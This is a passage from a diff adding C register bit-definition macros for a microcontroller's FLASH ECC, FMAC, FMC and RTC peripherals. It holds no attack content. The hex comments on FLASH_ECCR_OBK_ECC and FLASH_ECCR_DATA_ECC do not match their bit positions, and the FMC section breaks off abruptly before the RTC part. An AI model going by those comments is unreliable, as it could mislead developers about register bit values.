FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_OBK_ECC_Pos (20U) +#define FLASH_ECCR_OBK_ECC_Msk (0x1UL << FLASH_ECCR_OBK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_OBK_ECC FLASH_ECCR_OBK_ECC_Msk /*!< Flash OB Keys storage area ECC fail */ +#define FLASH_ECCR_DATA_ECC_Pos (21U) +#define FLASH_ECCR_DATA_ECC_Msk (0x1UL << FLASH_ECCR_DATA_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_DATA_ECC FLASH_ECCR_DATA_ECC_Msk /*!< Flash high-cycle data ECC fail */ +#define FLASH_ECCR_BK_ECC_Pos (22U) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (23U) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_OTP_ECC_Pos (24U) +#define FLASH_ECCR_OTP_ECC_Msk (0x1UL << FLASH_ECCR_OTP_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_OTP_ECC FLASH_ECCR_OTP_ECC_Msk /*!< Flash OTP ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (25U) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x02000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30U) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31U) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_ECCDR register ***************/ +#define FLASH_ECCDR_FAIL_DATA_Pos (0U) +#define FLASH_ECCDR_FAIL_DATA_Msk (0xFFFFUL << FLASH_ECCDR_FAIL_DATA_Pos) /*!< 0x0000FFFF */ +#define FLASH_ECCDR_FAIL_DATA FLASH_ECCDR_FAIL_DATA_Msk /*!< ECC fail data */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0U) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8U) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24U) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0U) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8U) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0U) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8U) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24U) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0U) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8U) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16U) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24U) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31U) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0U) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1U) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2U) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3U) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4U) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8U) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9U) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15U) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16U) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0U) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1U) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8U) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9U) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10U) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0U) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0U) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20U) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0U) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4U) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7U) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8U) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12U) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15U) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16U) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20U) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22U) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23U) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24U) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28U) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30U) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31U) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0U) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24U) +#define RTC_ALRMASSR_MASKSS_Msk (0x3FUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_MASKSS_4 (0x10UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMASSR_MASKSS_5 (0x20UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31U) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0U) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4U) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7U) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8U) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12U) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15U) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16U) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20U) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22U) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23U) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24U) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28U) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30U) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31U) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0U) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24U) +#define RTC_ALRMBSSR_MASKSS_Msk (0x3FUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x3F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_MASKSS_4 (0x10UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBSSR_MASKSS_5 (0x20UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31U) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0U) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1U) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2U) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3U) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define 